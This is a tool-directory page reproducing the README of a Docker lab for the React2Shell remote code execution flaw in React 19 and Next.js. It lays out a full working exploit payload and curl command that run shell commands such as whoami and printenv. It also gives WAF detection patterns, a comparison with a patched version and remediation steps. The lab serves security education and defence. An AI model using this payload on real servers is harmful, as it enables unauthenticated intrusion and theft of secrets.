Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2025-55182-test-lab-windows — Docker-based test lab for CVE-2025-55182 (React2Shell) RCE vulnerability in React 19.1.0/Next.js 15.1.0. Includes exploit scripts, WAF bypass testing with NGINX/ModSecurity, and patched version comparison for security education. | Kitploit
Tools/GitHubGitHub/fankh/cve-2025-55182-test-lab-windows
Vulnerability AnalysisExploitationWeb Application ExploitationWAF BypassCTFPenetration TestingLearning & EducationPayload DevelopmentLabs & Practice
GitHubfankh/cve-2025-55182-test-lab-windows

cve-2025-55182-test-lab-windows

Docker-based test lab for CVE-2025-55182 (React2Shell) RCE vulnerability in React 19.1.0/Next.js 15.1.0. Includes exploit scripts, WAF bypass testing with NGINX/ModSecurity, and patched version comparison for security education.

View Repository
39 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-55182 (React2Shell) Test

⚠️ Warning: Contains a working remote code execution (RCE) vulnerability.

📋 Table of Contents

  • Overview
  • Vulnerability Information
  • Quick Start
  • Actual Attack Demonstration
  • Test Environment
  • WAF Defense Rules
  • File Structure
  • References
  • Legal Notice

Overview

Container test environment for the CVE-2025-55182 (React2Shell) vulnerability.

Key Features

  • ✅ Actual Vulnerability Reproduction - React 19.1.0 / Next.js 15.1.0 environment
  • ✅ RCE Attack Success - Confirmed real command execution
  • ✅ WAF Defense Testing - NGINX and Apache ModSecurity rule configuration
  • ✅ Patched Version Comparison - Vulnerable vs. patched version testing
  • ✅ Complete Docker Environment - Isolated container environment

Attack Results

root@kitploit:~
🔴 CRITICAL VULNERABILITY CONFIRMED!
   Successfully executed 6/7 commands

Executed Commands:
  ✅ whoami: root
  ✅ hostname: c89f1bd355b2
  ✅ pwd: /app
  ✅ id: uid=0(root) gid=0(root) groups=0(root)...
  ✅ uname: Linux c89f1bd355b2 6.6.87.2-microsoft-standard-WSL2...
  ✅ node-ver: v20.19.6

Vulnerability Information

CVE-2025-55182 (React2Shell)

CVSS Score: 10.0 (CRITICAL)
Impact: Remote Code Execution (RCE)
Authentication Required: None
Attack Vector: Network

Vulnerable Versions

  • React: 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • Next.js: < 15.0.5, < 15.1.9, < 15.2.6, < 15.3.6, < 15.4.8, < 15.5.7, < 16.0.7

Patched Versions

  • React: 19.1.2+
  • Next.js: 15.0.5+, 15.1.9+, 15.2.6+, 15.3.6+, 15.4.8+, 15.5.7+, 16.0.7+

Attack Principle

  1. Prototype Pollution - Prototype pollution via $1:__proto__:then
  2. Function Constructor Access - Access via Blob deserialization ($B prefix)
  3. Arbitrary Code Execution - Function creation with attacker-controlled code
  4. System Command Execution - RCE via child_process
root@kitploit:~
// Attack payload structure
{
  "then": "$1:__proto__:then",           // Contaminate Object.prototype.then
  "status": "resolved_model",
  "reason": -1,
  "value": '{"then": "$B0"}',            // Trigger Blob deserialization
  "_response": {
    "_prefix": "malicious_code",         // Code to execute
    "_formData": {
      "get": "$1:constructor:constructor"  // Access Function constructor
    }
  }
}

Quick Start

Prerequisites

  • Docker Desktop
  • Node.js 20+ (for local testing, optional)
  • Minimum 4GB RAM
  • 2GB or more free disk space

Step 1: Start Environment

Windows (PowerShell):

root@kitploit:~
PowerShell -ExecutionPolicy Bypass -File .\run-tests.ps1 start

Step 2: Check Status

root@kitploit:~
.\run-tests.ps1 status

Wait until all containers are healthy (approximately 1-2 minutes).

Step 3: Execute Attack

Windows (PowerShell):

root@kitploit:~
# Method 1: Use PowerShell script (recommended)
.\tests\exploit-working.ps1

# Method 2: Run Node.js directly
node tests\exploit-working.js

Step 4: Verify Results

Check command execution results in server logs:

root@kitploit:~
docker compose logs vulnerable-app --tail=20

Attack Demonstration

Automated Attack Script

exploit-working.js ⭐ Recommended

Windows:

root@kitploit:~
# PowerShell script (recommended)
.\tests\exploit-working.ps1

# Or run Node.js directly
node tests\exploit-working.js

Execution Details:

  • ✅ Execute arbitrary shell commands
  • ✅ Capture command output in server logs
  • ✅ Automatically test multiple commands
  • ✅ Provide detailed vulnerability report

Commands Tested:

  • whoami - Current user (root)
  • hostname - Container hostname
  • pwd - Working directory (/app)
  • id - Full user information
  • uname -a - System information
  • node --version - Node.js version

Manual Attack

Direct Attack Using curl

root@kitploit:~
# Create payload file
cat > payload.txt << 'EOF'
------WebKitFormBoundary123
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\": \"$B0\"}","_response":{"_prefix":"console.log('[EXPLOIT] RCE Success');const result=require('child_process').execSync('whoami').toString();console.log('[RESULT]',result);","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundary123
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundary123--
EOF

# Send attack
curl -X POST http://localhost:3000/ \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary123" \
  -H "Next-Action: exploit" \
  --data-binary @payload.txt

# Check log execution
docker compose logs vulnerable-app --tail=20 | grep -E "\[EXPLOIT\]|\[RESULT\]"

Custom Command Execution

Modify the attack script to execute desired commands:

root@kitploit:~
// In exploit-working.js:
const tests = [
  { name: 'custom', cmd: 'ls -la /app', desc: 'Application directory listing' },
  { name: 'env', cmd: 'printenv', desc: 'Print environment variables' }
]

Test Environment

Docker Containers

PortServiceReact VersionPurposeWAF Status
3000vulnerable-app19.1.0Vulnerable - CVE-2025-55182 test❌ No protection
3001patched-app19.1.2Safe - Patch validation✅ Patched
8080nginx → vulnerable19.1.0WAF test (NGINX)⚠️ Limited (no body inspection)
8081apache → vulnerable19.1.0WAF test (ModSecurity)⚠️ Limited (405 response)
8082nginx → patched19.1.2Dual protection test✅ Patched

Application Environment

  • Framework: Next.js 15.1.0 (App Router)
  • React Version: 19.1.0 (vulnerable)
  • Node.js: 20.19.6

Test Scenarios

Scenario 1: Attack Vulnerable Version

root@kitploit:~
# Run working exploit
node tests/exploit-working.js

# Expected result: Command execution successful
# Output: User information, system details, etc.

Scenario 2: Test Patched Version

Windows (PowerShell):

root@kitploit:~
# Use PowerShell script
.\tests\exploit-working.ps1 -Port 3001

Expected result: Attack fails (React 19.1.2 blocks the attack)

Scenario 3: WAF Block Test

Windows (PowerShell):

root@kitploit:~
# Attempt attack through NGINX WAF
.\tests\exploit-working.ps1 -Port 8080

Expected result: Blocked by WAF rules


WAF Defense Rules

NGINX Defense Rules

Location: nginx/nginx.conf

Detection Patterns:

  1. Prototype Pollution - __proto__, constructor:constructor
  2. Flight Protocol Exploitation - $X:__proto__, $B references
  3. Gadget Chain - child_process, execSync, require()
  4. URL Encoding Bypass - %5f%5fproto%5f%5f
  5. Suspicious Headers - Next-Action: #constructor

Blocking Action:

root@kitploit:~
HTTP 403 Forbidden
{
  "error": "Request blocked by WAF",
  "protection": "CVE-2025-55182",
  "waf": "NGINX"
}

Apache ModSecurity Rules

Location: apache/modsecurity-rules.conf

Rule ID Range: 100001-100017

Key Rules:

  • 100001: Detection of __proto__
  • 100002: Constructor chain access
  • 100003-100004: Flight protocol exploitation
  • 100006-100007: Gadget chain patterns
  • 100008-100011: RCE attempts (child_process, exec, spawn, require)
  • 100015: Suspicious Next-Action header
  • 100017: Anomaly score-based blocking

WAF Testing

root@kitploit:~
# NGINX block test
curl -X POST http://localhost:8080/ \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"polluted": true}}'

# Expected response: HTTP 403

# ModSecurity block test
curl -X POST http://localhost:8081/ \
  -H "Next-Action: test#constructor" \
  -d '{"data": "test"}'

# Expected response: HTTP 403

Checking WAF Logs

root@kitploit:~
# NGINX security log
docker compose exec nginx tail -f /var/log/nginx/security.log

# Apache ModSecurity audit log
docker compose exec apache tail -f /var/log/apache2/modsec_audit.log

⚠️ WAF Limitations

Important: The current WAF configuration has the following limitations:

NGINX (Port 8080)

  • ❌ Does not inspect request body
  • NGINX default configuration inspects only URL, query parameters, and headers
  • Exploit payload is contained in multipart/form-data body, so it is not detected
  • Solution: lua-nginx-module or a separate WAF solution required

Apache ModSecurity (Port 8081)

  • ⚠️ Next.js rejects POST requests (405 Method Not Allowed)
  • ModSecurity is enabled and can inspect the body
  • However, the Next-Action header is required, and this header alone does not provide sufficient protection
  • Current status: 405 response before WAF inspects the body

Actual Attack Defense:

  • ✅ Most effective method: Upgrade React/Next.js to patched versions (ports 3001, 8082)
  • ⚠️ WAF provides only partial protection: Limited against attacks requiring body inspection

File Structure

root@kitploit:~
cve-2025-55182-test-lab-windows/
├── README.md                           # README
├── docker-compose.yml                  # Docker environment configuration
├── run-tests.ps1                       # Windows execution script
├── run-tests.sh                        # Linux/Mac execution script
│
├── vulnerable-app/                     # Vulnerable version application
│   ├── Dockerfile
│   ├── package.json                    # React 19.1.0, Next.js 15.1.0
│   ├── next.config.js
│   ├── app/
│   │   ├── layout.js                   # Basic layout
│   │   ├── page.js                     # Main page
│   │   └── api/
│   │       └── health/                 # Health check endpoint
│   │           └── route.js
│   └── tests/                          
│
├── patched-app/                        # Patched version application
│   ├── Dockerfile
│   ├── package.json                    # React 19.1.2, Next.js 15.1.9
│   ├── next.config.js
│   └── app/
│       ├── layout.js
│       ├── page.js
│       └── api/
│           └── health/
│               └── route.js
│
├── tests/                              # Attack scripts
│   ├── exploit-working.js              # RCE attack (Node.js)
│   ├── exploit-working.ps1             # RCE attack (PowerShell)
│   └── exploit-working.cmd             # RCE attack (batch file)
│
├── nginx/                              # NGINX WAF configuration
│   ├── nginx.conf                      # CVE-2025-55182 blocking rules
│   └── nginx-patched.conf              # Proxy configuration
│
└── apache/                             # Apache ModSecurity configuration
    ├── Dockerfile
    ├── apache-config.conf
    └── modsecurity-rules.conf          # ModSecurity blocking rules

Attack Verification Methods

Method 1: Check Script Output

The attack script displays results directly:

root@kitploit:~
[whoami] Sending exploit...
  ✅ SUCCESS! Output: root

Method 2: Monitor Server Logs

root@kitploit:~
# Real-time log monitoring
docker compose logs -f vulnerable-app

# What to check:
# [EXPLOIT] Executing: whoami
# [RESULT] root

Method 3: Check Attack Indicators

root@kitploit:~
# Verify if attack was executed
docker compose exec vulnerable-app ps aux | grep node

# Check file system changes (if files were written)
docker compose exec vulnerable-app ls -la /tmp

Remediation Measures

npm Patching

  1. Upgrade React - Install 19.1.2 or later:

    root@kitploit:~
    npm install react@^19.1.2 react-dom@^19.1.2
    
  2. Upgrade Next.js - Install 15.1.9 or later:

    root@kitploit:~
    npm install next@^15.1.9
    
  3. Rebuild and Redeploy:

    root@kitploit:~
    npm run build
    # Deploy to production environment
    

Post-Patch Verification

Windows (PowerShell):

root@kitploit:~
# Test with patched version
.\tests\exploit-working.ps1 -Port 3001

# Or
$env:TARGET_PORT=3001; node tests\exploit-working.js

Linux/Mac:

root@kitploit:~
# Test with patched version
TARGET_PORT=3001 node tests/exploit-working.js

Example output: ℹ️ Exploitation failed

Security Measures When Patching Is Not Possible

  1. Deploy WAF rules - Use this project's NGINX/ModSecurity rules
  2. Network segmentation - Restrict external access
  3. Rate limiting - Apply limits to Server Action endpoints
  4. Log monitoring - Monitor logs for attack attempts

Docker Commands

Environment Management

root@kitploit:~
# Start
.\run-tests.ps1 start

# Check status
.\run-tests.ps1 status

# View logs
.\run-tests.ps1 logs

# Stop
.\run-tests.ps1 stop

# Clean (delete all containers and volumes)
.\run-tests.ps1 clean

Troubleshooting

When Attack Does Not Work

Windows (PowerShell):

root@kitploit:~
# 1. Check version
docker compose exec vulnerable-app npm list react next

# Should display:
# [email protected]
# [email protected]

# 2. Verify server responds
curl http://localhost:3000

# 3. Check Docker logs
docker compose logs vulnerable-app --tail=50

# 4. Restart container
docker compose restart vulnerable-app

When Output Values Cannot Be Viewed

Windows (PowerShell):

root@kitploit:~
# Filter logs in PowerShell
docker compose logs vulnerable-app --tail=20 | Select-String "EXPLOIT|RESULT"

Docker Desktop Not Running (Windows Only)

Error symptoms:

root@kitploit:~
error during connect: Get "http://%2F%2F.%2Fpipe%2FdockerDesktopLinuxEngine...

Solution:

  1. Launch Docker Desktop
  2. Verify tray icon is green
  3. Check with docker ps

PowerShell Script Execution Disabled (Windows Only)

Error symptoms:

root@kitploit:~
Cannot run scripts on this system...

Solution:

root@kitploit:~
# Apply to current session only
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process

# Or run directly
PowerShell -ExecutionPolicy Bypass -File .\tests\exploit-working.ps1

Permission Errors

Verify Docker is running and has permissions:

All platforms:

root@kitploit:~
docker compose ps

Port Conflicts

If another application is using the port:

Windows (PowerShell):

root@kitploit:~
# Check processes using port
netstat -ano | findstr :3000

# Terminate process (after verifying PID)
taskkill /PID <PID> /F

All platforms (modify docker-compose.yml):

root@kitploit:~
# Change ports to avoid conflict
services:
  vulnerable-app:
    ports:
      - "3010:3000"  # Change 3000 to 3010

When WAF Does Not Work

All platforms:

root@kitploit:~
# Test NGINX configuration
docker compose exec nginx nginx -t

# Test Apache configuration
docker compose exec apache apachectl configtest

# Check logs
docker compose logs nginx --tail=30
docker compose logs apache --tail=30

References

Official Security Advisories

  • React Security Advisory
  • Vercel CVE-2025-55182 Summary
  • Next.js CVE-2025-66478 Advisory
  • NVD - CVE-2025-55182

Technical Analysis

  • Datadog Security Labs - CVE-2025-55182
  • Wiz Blog - Critical RCE in React
  • Palo Alto Unit42 Analysis
  • Kaspersky Blog
  • OX Security Blog

Proof of Concepts

  • msanft/CVE-2025-55182
  • dwisiswant0/CVE-2025-55182
  • EynaExp/CVE-2025-55182-POC
  • Spritualkb/CVE-2025-55182-exp
  • ejpir/CVE-2025-55182-research

License

This project is provided for educational and security research purposes.

Usage Restrictions:

  • Only for authorized security testing
  • Do not modify for malicious purposes
Download Tool